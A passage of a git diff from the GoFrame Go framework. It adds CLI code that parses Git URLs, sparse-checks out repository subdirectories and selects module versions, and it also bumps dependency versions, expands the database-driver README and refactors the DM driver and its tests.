// - github.com/owner/repo/tree/branch/subdir/path (from GitHub web URL)
|
||||
func ParseGitURL(url string) (*GitRepoInfo, error) {
|
||||
// Remove protocol prefix if present
|
||||
url = strings.TrimPrefix(url, "https://")
|
||||
url = strings.TrimPrefix(url, "http://")
|
||||
url = strings.TrimSuffix(url, ".git")
|
||||
|
||||
// Remove version suffix like @v1.0.0
|
||||
if idx := strings.Index(url, "@"); idx != -1 {
|
||||
url = url[:idx]
|
||||
}
|
||||
|
||||
parts := strings.Split(url, "/")
|
||||
if len(parts) < 3 {
|
||||
return nil, fmt.Errorf("invalid git URL: %s", url)
|
||||
}
|
||||
|
||||
info := &GitRepoInfo{
|
||||
Host: parts[0],
|
||||
Owner: parts[1],
|
||||
Repo: parts[2],
|
||||
Branch: "main", // default branch
|
||||
}
|
||||
|
||||
// Check for /tree/branch/ pattern (GitHub web URL)
|
||||
if len(parts) > 4 && parts[3] == "tree" {
|
||||
info.Branch = parts[4]
|
||||
if len(parts) > 5 {
|
||||
info.SubPath = strings.Join(parts[5:], "/")
|
||||
}
|
||||
} else if len(parts) > 3 {
|
||||
// Direct subpath: github.com/owner/repo/subdir/path
|
||||
info.SubPath = strings.Join(parts[3:], "/")
|
||||
}
|
||||
|
||||
info.CloneURL = fmt.Sprintf("https://%s/%s/%s.git", info.Host, info.Owner, info.Repo)
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// IsSubdirRepo checks if the URL points to a subdirectory of a repository
|
||||
// Returns false for Go module paths (which may have /vN suffix or nested module paths)
|
||||
// Note: This uses heuristics that may have false positives/negatives in edge cases
|
||||
func IsSubdirRepo(url string) bool {
|
||||
info, err := ParseGitURL(url)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if info.SubPath == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
// Check if this looks like a Go module path rather than a git subdirectory
|
||||
// Go modules can have nested paths like github.com/owner/repo/cmd/tool/v2
|
||||
// We should try to resolve it as a Go module first
|
||||
|
||||
// If the URL can be resolved as a Go module, it's not a subdir repo
|
||||
// We use a heuristic: check if the full path looks like a valid Go module
|
||||
// by checking if it ends with /vN (major version) or contains common module patterns
|
||||
|
||||
// Remove version suffix for checking
|
||||
cleanURL := url
|
||||
if before, _, ok := strings.Cut(url, "@"); ok {
|
||||
cleanURL = before
|
||||
}
|
||||
|
||||
// Check if the path ends with /vN (Go module major version)
|
||||
parts := strings.Split(cleanURL, "/")
|
||||
if len(parts) > 0 {
|
||||
lastPart := parts[len(parts)-1]
|
||||
if len(lastPart) >= 2 && lastPart[0] == 'v' {
|
||||
// Check if it's v2, v3, etc.
|
||||
if _, err := fmt.Sscanf(lastPart, "v%d", new(int)); err == nil {
|
||||
// This looks like a Go module with major version suffix
|
||||
// It could be either a versioned module or a subdir ending in vN
|
||||
// We'll treat it as a Go module and let go get handle it
|
||||
mlog.Debugf("URL %s detected as Go module (ends with /vN)", url)
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// For GitHub URLs, check if the subpath could be a nested Go module
|
||||
// Common patterns: cmd/*, internal/*, pkg/*, contrib/*
|
||||
subPathParts := strings.Split(info.SubPath, "/")
|
||||
if len(subPathParts) > 0 {
|
||||
firstPart := subPathParts[0]
|
||||
// These are common Go module nesting patterns
|
||||
if firstPart == "cmd" || firstPart == "contrib" || firstPart == "tools" {
|
||||
// This might be a nested Go module, not a simple subdirectory
|
||||
// Let go get try first
|
||||
mlog.Debugf("URL %s detected as Go module (starts with common pattern)", url)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
mlog.Debugf("URL %s detected as git subdirectory", url)
|
||||
return true
|
||||
}
|
||||
|
||||
// downloadGitSubdir downloads a subdirectory from a git repository using sparse checkout
|
||||
func downloadGitSubdir(ctx context.Context, repoURL string) (string, *GitRepoInfo, error) {
|
||||
info, err := ParseGitURL(repoURL)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
|
||||
if info.SubPath == "" {
|
||||
return "", nil, fmt.Errorf("not a subdirectory URL: %s", repoURL)
|
||||
}
|
||||
|
||||
// Create temp directory for clone
|
||||
tempDir := gfile.Temp("gf-init-git")
|
||||
if tempDir == "" {
|
||||
return "", nil, fmt.Errorf("failed to create temporary directory")
|
||||
}
|
||||
if err := gfile.Mkdir(tempDir); err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
|
||||
cloneDir := filepath.Join(tempDir, info.Repo)
|
||||
mlog.Debugf("Using git temp workspace: %s", tempDir)
|
||||
mlog.Printf("Cloning %s (sparse checkout: %s)...", info.CloneURL, info.SubPath)
|
||||
|
||||
// 1. Clone with no checkout, filter, and sparse
|
||||
if err := runCmd(ctx, tempDir, "git", "clone", "--filter=blob:none", "--no-checkout", "--sparse", info.CloneURL); err != nil {
|
||||
// Fallback: try without filter for older git versions
|
||||
mlog.Debugf("Sparse clone failed, trying full clone...")
|
||||
if err := gfile.Remove(cloneDir); err != nil {
|
||||
mlog.Debugf("Failed to remove clone directory: %v", err)
|
||||
}
|
||||
if err := runCmd(ctx, tempDir, "git", "clone", "--no-checkout", info.CloneURL); err != nil {
|
||||
if err := gfile.Remove(tempDir); err != nil {
|
||||
mlog.Debugf("Failed to remove temp directory: %v", err)
|
||||
}
|
||||
return "", nil, fmt.Errorf("git clone failed: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Set sparse-checkout to the subpath
|
||||
if err := runCmd(ctx, cloneDir, "git", "sparse-checkout", "set", info.SubPath); err != nil {
|
||||
// Fallback for older git: use sparse-checkout init + set
|
||||
mlog.Debugf("sparse-checkout set failed, trying legacy method...")
|
||||
if err := runCmd(ctx, cloneDir, "git", "sparse-checkout", "init", "--cone"); err != nil {
|
||||
if err := gfile.Remove(tempDir); err != nil {
|
||||
mlog.Debugf("Failed to remove temp directory: %v", err)
|
||||
}
|
||||
return "", nil, fmt.Errorf("git sparse-checkout init (legacy) failed: %w", err)
|
||||
}
|
||||
if err := runCmd(ctx, cloneDir, "git", "sparse-checkout", "set", info.SubPath); err != nil {
|
||||
if err := gfile.Remove(tempDir); err != nil {
|
||||
mlog.Debugf("Failed to remove temp directory: %v", err)
|
||||
}
|
||||
return "", nil, fmt.Errorf("git sparse-checkout set (legacy) failed: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Checkout the branch
|
||||
if err := runCmd(ctx, cloneDir, "git", "checkout", info.Branch); err != nil {
|
||||
// Try master if main fails
|
||||
if info.Branch == "main" {
|
||||
mlog.Debugf("Branch 'main' not found, trying 'master'...")
|
||||
info.Branch = "master"
|
||||
if err := runCmd(ctx, cloneDir, "git", "checkout", "master"); err != nil {
|
||||
if err := gfile.Remove(tempDir); err != nil {
|
||||
mlog.Debugf("Failed to remove temp directory: %v", err)
|
||||
}
|
||||
return "", nil, fmt.Errorf("git checkout failed: %w", err)
|
||||
}
|
||||
} else {
|
||||
if err := gfile.Remove(tempDir); err != nil {
|
||||
mlog.Debugf("Failed to remove temp directory: %v", err)
|
||||
}
|
||||
return "", nil, fmt.Errorf("git checkout failed: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Return the path to the subdirectory
|
||||
subDirPath := filepath.Join(cloneDir, info.SubPath)
|
||||
if !gfile.Exists(subDirPath) {
|
||||
if err := gfile.Remove(tempDir); err != nil {
|
||||
mlog.Debugf("Failed to remove temp directory: %v", err)
|
||||
}
|
||||
return "", nil, fmt.Errorf("subdirectory not found: %s", info.SubPath)
|
||||
}
|
||||
|
||||
mlog.Debugf("Subdirectory located at: %s", subDirPath)
|
||||
return subDirPath, info, nil
|
||||
}
|
||||
|
||||
// GetModuleNameFromGoMod reads module name from go.mod file
|
||||
func GetModuleNameFromGoMod(dir string) string {
|
||||
goModPath := filepath.Join(dir, "go.mod")
|
||||
if !gfile.Exists(goModPath) {
|
||||
return ""
|
||||
}
|
||||
|
||||
content := gfile.GetContents(goModPath)
|
||||
lines := gstr.Split(content, "\n")
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if after, ok := strings.CutPrefix(line, "module "); ok {
|
||||
return strings.TrimSpace(after)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
99
cmd/gf/internal/cmd/geninit/geninit_selector.go
Normal file
99
cmd/gf/internal/cmd/geninit/geninit_selector.go
Normal file
@ -0,0 +1,99 @@
|
||||
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package geninit
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
|
||||
)
|
||||
|
||||
// SelectVersion prompts user to select a version interactively
|
||||
func SelectVersion(ctx context.Context, versions []string, modulePath string) (string, error) {
|
||||
if len(versions) == 0 {
|
||||
return "", fmt.Errorf("no versions available for selection")
|
||||
}
|
||||
|
||||
if len(versions) == 1 {
|
||||
mlog.Printf("Only one version available: %s", versions[0])
|
||||
return versions[0], nil
|
||||
}
|
||||
|
||||
// Display available versions
|
||||
fmt.Printf("\nAvailable versions for %s:\n", modulePath)
|
||||
fmt.Println(strings.Repeat("-", 40))
|
||||
|
||||
// Show versions with index (newest first)
|
||||
maxDisplay := 20 // Limit display to avoid overwhelming output
|
||||
displayCount := len(versions)
|
||||
if displayCount > maxDisplay {
|
||||
displayCount = maxDisplay
|
||||
}
|
||||
|
||||
for i := 0; i < displayCount; i++ {
|
||||
marker := ""
|
||||
if i == 0 {
|
||||
marker = " (latest)"
|
||||
}
|
||||
fmt.Printf(" [%2d] %s%s\n", i+1, versions[i], marker)
|
||||
}
|
||||
|
||||
if len(versions) > maxDisplay {
|
||||
fmt.Printf(" ... and %d more versions\n", len(versions)-maxDisplay)
|
||||
}
|
||||
|
||||
fmt.Println(strings.Repeat("-", 40))
|
||||
|
||||
// Prompt for selection
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
for {
|
||||
fmt.Printf("Select version [1-%d] or enter version string (default: 1 for latest): ", displayCount)
|
||||
|
||||
input, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to read input: %w", err)
|
||||
}
|
||||
|
||||
input = strings.TrimSpace(input)
|
||||
|
||||
// Default to latest
|
||||
if input == "" {
|
||||
fmt.Printf("Selected: %s (latest)\n", versions[0])
|
||||
return versions[0], nil
|
||||
}
|
||||
|
||||
// Try parsing as number first
|
||||
idx, err := strconv.Atoi(input)
|
||||
if err == nil {
|
||||
// Valid number - check if in range
|
||||
if idx >= 1 && idx <= len(versions) {
|
||||
// Allow selection from all versions, not just displayed ones
|
||||
selected := versions[idx-1]
|
||||
fmt.Printf("Selected: %s\n", selected)
|
||||
return selected, nil
|
||||
} else if idx < 1 || idx > displayCount {
|
||||
fmt.Printf("Invalid selection. Please enter a number between 1 and %d, or type a version string.\n", displayCount)
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
// Try matching the input as a version string (e.g., "v1.2.3")
|
||||
for _, v := range versions {
|
||||
if v == input || strings.Contains(v, input) {
|
||||
fmt.Printf("Selected: %s\n", v)
|
||||
return v, nil
|
||||
}
|
||||
}
|
||||
fmt.Printf("Version '%s' not found. Please select by number or type a valid version string.\n", input)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
138
cmd/gf/internal/cmd/geninit/geninit_version.go
Normal file
138
cmd/gf/internal/cmd/geninit/geninit_version.go
Normal file
@ -0,0 +1,138 @@
|
||||
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package geninit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/mod/semver"
|
||||
|
||||
"github.com/gogf/gf/v2/os/gfile"
|
||||
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
|
||||
)
|
||||
|
||||
// VersionInfo contains module version information
|
||||
type VersionInfo struct {
|
||||
Module string `json:"module"`
|
||||
Versions []string `json:"versions"`
|
||||
Latest string `json:"latest"`
|
||||
}
|
||||
|
||||
// GetModuleVersions fetches available versions for a Go module
|
||||
func GetModuleVersions(ctx context.Context, modulePath string) (*VersionInfo, error) {
|
||||
// Create a temporary directory for go list
|
||||
tempDir := gfile.Temp("gf-init-version")
|
||||
if tempDir == "" {
|
||||
return nil, fmt.Errorf("failed to create temporary directory for go list")
|
||||
}
|
||||
if err := gfile.Mkdir(tempDir); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() {
|
||||
if err := gfile.Remove(tempDir); err != nil {
|
||||
mlog.Debugf("Failed to remove temp directory: %v", err)
|
||||
}
|
||||
}()
|
||||
|
||||
// Initialize a temp go module
|
||||
if err := runCmd(ctx, tempDir, "go", "mod", "init", "temp"); err != nil {
|
||||
return nil, fmt.Errorf("failed to init temp module: %w", err)
|
||||
}
|
||||
|
||||
// Get versions using go list -m -versions
|
||||
cmd := exec.CommandContext(ctx, "go", "list", "-m", "-versions", modulePath)
|
||||
cmd.Dir = tempDir
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
// Try with @latest to see if module exists
|
||||
mlog.Debugf("go list -versions failed, trying @latest: %v", err)
|
||||
return getLatestOnly(ctx, tempDir, modulePath)
|
||||
}
|
||||
|
||||
// Parse output: "module/path v1.0.0 v1.1.0 v2.0.0"
|
||||
parts := strings.Fields(strings.TrimSpace(string(output)))
|
||||
if len(parts) < 1 {
|
||||
return nil, fmt.Errorf("no version information found for %s", modulePath)
|
||||
}
|
||||
|
||||
info := &VersionInfo{
|
||||
Module: parts[0],
|
||||
Versions: []string{},
|
||||
}
|
||||
|
||||
if len(parts) > 1 {
|
||||
info.Versions = parts[1:]
|
||||
// Sort versions in descending order (newest first)
|
||||
sort.Slice(info.Versions, func(i, j int) bool {
|
||||
return semver.Compare(info.Versions[i], info.Versions[j]) > 0
|
||||
})
|
||||
info.Latest = info.Versions[0]
|
||||
}
|
||||
|
||||
// If no tagged versions, try to get latest
|
||||
if len(info.Versions) == 0 {
|
||||
latestInfo, err := getLatestOnly(ctx, tempDir, modulePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
info.Latest = latestInfo.Latest
|
||||
if latestInfo.Latest != "" {
|
||||
info.Versions = []string{latestInfo.Latest}
|
||||
}
|
||||
}
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// getLatestOnly gets only the latest version when go list -versions fails
|
||||
func getLatestOnly(ctx context.Context, tempDir, modulePath string) (*VersionInfo, error) {
|
||||
// Try go list -m modulePath@latest
|
||||
cmd := exec.CommandContext(ctx, "go", "list", "-m", "-json", modulePath+"@latest")
|
||||
cmd.Dir = tempDir
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
// Try without @latest
|
||||
cmd = exec.CommandContext(ctx, "go", "list", "-m", "-json", modulePath)
|
||||
cmd.Dir = tempDir
|
||||
output, err = cmd.Output()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get module info for %s: %w", modulePath, err)
|
||||
}
|
||||
}
|
||||
|
||||
var modInfo struct {
|
||||
Path string `json:"Path"`
|
||||
Version string `json:"Version"`
|
||||
}
|
||||
if err := json.Unmarshal(output, &modInfo); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse module info: %w", err)
|
||||
}
|
||||
|
||||
return &VersionInfo{
|
||||
Module: modInfo.Path,
|
||||
Versions: []string{modInfo.Version},
|
||||
Latest: modInfo.Version,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetLatestVersion returns the latest version of a module
|
||||
func GetLatestVersion(ctx context.Context, modulePath string) (string, error) {
|
||||
info, err := GetModuleVersions(ctx, modulePath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if info.Latest == "" {
|
||||
return "", fmt.Errorf("no version found for %s", modulePath)
|
||||
}
|
||||
return info.Latest, nil
|
||||
}
|
||||
@ -1,13 +1,10 @@
|
||||
package testdata
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/net/ghttp"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
"github.com/gogf/gf/v2/util/guid"
|
||||
)
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@ go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/apolloconfig/agollo/v4 v4.3.1
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/consul/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
github.com/hashicorp/consul/api v1.24.0
|
||||
github.com/hashicorp/go-cleanhttp v0.5.2
|
||||
)
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/kubecm/v2
|
||||
go 1.24.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
k8s.io/api v0.33.4
|
||||
k8s.io/apimachinery v0.33.4
|
||||
k8s.io/client-go v0.33.4
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/nacos/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
github.com/nacos-group/nacos-sdk-go/v2 v2.3.3
|
||||
)
|
||||
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/polaris/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
github.com/polarismesh/polaris-go v1.6.1
|
||||
)
|
||||
|
||||
|
||||
@ -9,14 +9,19 @@ Let's take `mysql` for example.
|
||||
|
||||
```shell
|
||||
go get github.com/gogf/gf/contrib/drivers/mysql/v2@latest
|
||||
# Easy to copy
|
||||
|
||||
# Easy for copying:
|
||||
go get github.com/gogf/gf/contrib/drivers/clickhouse/v2@latest
|
||||
go get github.com/gogf/gf/contrib/drivers/dm/v2@latest
|
||||
go get github.com/gogf/gf/contrib/drivers/gaussdb/v2@latest
|
||||
go get github.com/gogf/gf/contrib/drivers/mariadb/v2@latest
|
||||
go get github.com/gogf/gf/contrib/drivers/mssql/v2@latest
|
||||
go get github.com/gogf/gf/contrib/drivers/oceanbase/v2@latest
|
||||
go get github.com/gogf/gf/contrib/drivers/oracle/v2@latest
|
||||
go get github.com/gogf/gf/contrib/drivers/pgsql/v2@latest
|
||||
go get github.com/gogf/gf/contrib/drivers/sqlite/v2@latest
|
||||
go get github.com/gogf/gf/contrib/drivers/sqlitecgo/v2@latest
|
||||
go get github.com/gogf/gf/contrib/drivers/tidb/v2@latest
|
||||
```
|
||||
|
||||
Choose and import the driver to your project:
|
||||
@ -43,12 +48,36 @@ func main() {
|
||||
|
||||
## Supported Drivers
|
||||
|
||||
### MySQL/MariaDB/TiDB/OceanBase
|
||||
### MySQL
|
||||
|
||||
```go
|
||||
import _ "github.com/gogf/gf/contrib/drivers/mysql/v2"
|
||||
```
|
||||
|
||||
### MariaDB
|
||||
|
||||
```go
|
||||
import _ "github.com/gogf/gf/contrib/drivers/mariadb/v2"
|
||||
```
|
||||
|
||||
### TiDB
|
||||
|
||||
```go
|
||||
import _ "github.com/gogf/gf/contrib/drivers/tidb/v2"
|
||||
```
|
||||
|
||||
### OceanBase
|
||||
|
||||
```go
|
||||
import _ "github.com/gogf/gf/contrib/drivers/oceanbase/v2"
|
||||
```
|
||||
|
||||
### GaussDB
|
||||
|
||||
```go
|
||||
import _ "github.com/gogf/gf/contrib/drivers/gaussdb/v2"
|
||||
```
|
||||
|
||||
### SQLite
|
||||
|
||||
```go
|
||||
@ -57,7 +86,7 @@ import _ "github.com/gogf/gf/contrib/drivers/sqlite/v2"
|
||||
|
||||
#### cgo version
|
||||
|
||||
When the target is a 32-bit Windows system, the cgo version needs to be used.
|
||||
When the target is a `32-bit` Windows system, the `cgo` version needs to be used.
|
||||
|
||||
```go
|
||||
import _ "github.com/gogf/gf/contrib/drivers/sqlitecgo/v2"
|
||||
@ -77,9 +106,10 @@ import _ "github.com/gogf/gf/contrib/drivers/mssql/v2"
|
||||
|
||||
Note:
|
||||
|
||||
- It does not support `Replace` features.
|
||||
- `InsertIgnore` returns error if there is no primary key or unique index submitted with record.
|
||||
- It supports server version >= `SQL Server2005`
|
||||
- It ONLY supports datetime2 and datetimeoffset types for auto handling created_at/updated_at/deleted_at columns, because datetime type does not support microseconds precision when column value is passed as string.
|
||||
- It ONLY supports `datetime2` and `datetimeoffset` types for auto handling created_at/updated_at/deleted_at columns,
|
||||
because datetime type does not support microseconds precision when column value is passed as string.
|
||||
|
||||
### Oracle
|
||||
|
||||
@ -89,8 +119,8 @@ import _ "github.com/gogf/gf/contrib/drivers/oracle/v2"
|
||||
|
||||
Note:
|
||||
|
||||
- It does not support `Replace` features.
|
||||
- It does not support `LastInsertId`.
|
||||
- `InsertIgnore` returns error if there is no primary key or unique index submitted with record.
|
||||
|
||||
### ClickHouse
|
||||
|
||||
@ -100,7 +130,7 @@ import _ "github.com/gogf/gf/contrib/drivers/clickhouse/v2"
|
||||
|
||||
Note:
|
||||
|
||||
- It does not support `InsertIgnore/InsertGetId` features.
|
||||
- It does not support `InsertIgnore/InsertAndGetId` features.
|
||||
- It does not support `Save/Replace` features.
|
||||
- It does not support `Transaction` feature.
|
||||
- It does not support `RowsAffected` feature.
|
||||
@ -111,6 +141,10 @@ Note:
|
||||
import _ "github.com/gogf/gf/contrib/drivers/dm/v2"
|
||||
```
|
||||
|
||||
Note:
|
||||
|
||||
- `InsertIgnore` returns error if there is no primary key or unique index submitted with record.
|
||||
|
||||
## Custom Drivers
|
||||
|
||||
It's quick and easy, please refer to current driver source.
|
||||
|
||||
@ -4,7 +4,7 @@ go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/ClickHouse/clickhouse-go/v2 v2.0.15
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/shopspring/decimal v1.3.1
|
||||
)
|
||||
|
||||
@ -37,6 +37,12 @@ func (d *Driver) DoInsert(
|
||||
return d.doInsertIgnore(ctx, link, table, list, option)
|
||||
|
||||
default:
|
||||
// DM database supports IDENTITY auto-increment columns natively.
|
||||
// The driver automatically returns LastInsertId through sql.Result.
|
||||
//
|
||||
// Note: DM IDENTITY columns cannot accept explicit ID values unless
|
||||
// IDENTITY_INSERT is enabled. When using tables with IDENTITY columns,
|
||||
// avoid providing explicit ID values in the data.
|
||||
return d.Core.DoInsert(ctx, link, table, list, option)
|
||||
}
|
||||
}
|
||||
@ -66,7 +72,7 @@ func (d *Driver) doMergeInsert(
|
||||
// If OnConflict is not specified, automatically get the primary key of the table
|
||||
conflictKeys := option.OnConflict
|
||||
if len(conflictKeys) == 0 {
|
||||
primaryKeys, err := d.getPrimaryKeys(ctx, table)
|
||||
primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
|
||||
if err != nil {
|
||||
return nil, gerror.WrapCode(
|
||||
gcode.CodeInternalError,
|
||||
@ -76,17 +82,25 @@ func (d *Driver) doMergeInsert(
|
||||
}
|
||||
foundPrimaryKey := false
|
||||
for _, primaryKey := range primaryKeys {
|
||||
if _, ok := list[0][primaryKey]; ok {
|
||||
foundPrimaryKey = true
|
||||
for dataKey := range list[0] {
|
||||
if strings.EqualFold(dataKey, primaryKey) {
|
||||
foundPrimaryKey = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if foundPrimaryKey {
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundPrimaryKey {
|
||||
return nil, gerror.NewCode(
|
||||
return nil, gerror.NewCodef(
|
||||
gcode.CodeMissingParameter,
|
||||
`Please specify conflict columns or ensure the record has a primary key for Save/Replace/InsertIgnore operation`,
|
||||
`Replace/Save/InsertIgnore operation requires conflict detection: `+
|
||||
`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
|
||||
table,
|
||||
)
|
||||
}
|
||||
// TODO consider composite primary keys.
|
||||
conflictKeys = primaryKeys
|
||||
}
|
||||
|
||||
@ -149,24 +163,6 @@ func (d *Driver) doMergeInsert(
|
||||
return batchResult, nil
|
||||
}
|
||||
|
||||
// getPrimaryKeys retrieves the primary key field names of the table as a slice of strings.
|
||||
// This method extracts primary key information from TableFields.
|
||||
func (d *Driver) getPrimaryKeys(ctx context.Context, table string) ([]string, error) {
|
||||
tableFields, err := d.TableFields(ctx, table)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var primaryKeys []string
|
||||
for _, field := range tableFields {
|
||||
if gstr.Equal(field.Key, "PRI") {
|
||||
primaryKeys = append(primaryKeys, field.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return primaryKeys, nil
|
||||
}
|
||||
|
||||
// parseSqlForMerge generates MERGE statement for DM database.
|
||||
// When updateValues is empty, it only inserts (INSERT IGNORE behavior).
|
||||
// When updateValues is provided, it performs upsert (INSERT or UPDATE).
|
||||
|
||||
@ -7,7 +7,6 @@
|
||||
package dm_test
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
"testing"
|
||||
@ -509,124 +508,3 @@ func Test_Empty_Slice_Argument(t *testing.T) {
|
||||
t.Assert(len(result), 0)
|
||||
})
|
||||
}
|
||||
|
||||
func TestModelSave(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
type User struct {
|
||||
Id int
|
||||
AccountName string
|
||||
AttrIndex int
|
||||
}
|
||||
var (
|
||||
user User
|
||||
count int
|
||||
result sql.Result
|
||||
err error
|
||||
)
|
||||
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"accountName": "ac1",
|
||||
"attrIndex": 100,
|
||||
}).OnConflict("id").Save()
|
||||
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
err = db.Model(table).Scan(&user)
|
||||
t.AssertNil(err)
|
||||
t.Assert(user.Id, 1)
|
||||
t.Assert(user.AccountName, "ac1")
|
||||
t.Assert(user.AttrIndex, 100)
|
||||
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"accountName": "ac2",
|
||||
"attrIndex": 200,
|
||||
}).OnConflict("id").Save()
|
||||
t.AssertNil(err)
|
||||
|
||||
err = db.Model(table).Scan(&user)
|
||||
t.AssertNil(err)
|
||||
t.Assert(user.AccountName, "ac2")
|
||||
t.Assert(user.AttrIndex, 200)
|
||||
|
||||
count, err = db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, 1)
|
||||
})
|
||||
}
|
||||
|
||||
func TestModelInsert(t *testing.T) {
|
||||
// g.Model.insert not lost default not null column
|
||||
table := "A_tables"
|
||||
createInitTable(table)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
i := 200
|
||||
data := User{
|
||||
ID: int64(i),
|
||||
AccountName: fmt.Sprintf(`A%dtwo`, i),
|
||||
PwdReset: 0,
|
||||
AttrIndex: 99,
|
||||
CreatedTime: time.Now(),
|
||||
UpdatedTime: time.Now(),
|
||||
}
|
||||
// _, err := db.Schema(TestDBName).Model(table).Data(data).Insert()
|
||||
_, err := db.Model(table).Insert(&data)
|
||||
gtest.AssertNil(err)
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
i := 201
|
||||
data := User{
|
||||
ID: int64(i),
|
||||
AccountName: fmt.Sprintf(`A%dtwoONE`, i),
|
||||
PwdReset: 1,
|
||||
CreatedTime: time.Now(),
|
||||
AttrIndex: 98,
|
||||
UpdatedTime: time.Now(),
|
||||
}
|
||||
// _, err := db.Schema(TestDBName).Model(table).Data(data).Insert()
|
||||
_, err := db.Model(table).Data(&data).Insert()
|
||||
gtest.AssertNil(err)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_InsertIgnore(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
// db.SetDebug(true)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := User{
|
||||
ID: int64(666),
|
||||
AccountName: fmt.Sprintf(`name_%d`, 666),
|
||||
PwdReset: 0,
|
||||
AttrIndex: 99,
|
||||
CreatedTime: time.Now(),
|
||||
UpdatedTime: time.Now(),
|
||||
}
|
||||
_, err := db.Model(table).Data(data).Insert()
|
||||
t.AssertNil(err)
|
||||
})
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := User{
|
||||
ID: int64(666),
|
||||
AccountName: fmt.Sprintf(`name_%d`, 777),
|
||||
PwdReset: 0,
|
||||
AttrIndex: 99,
|
||||
CreatedTime: time.Now(),
|
||||
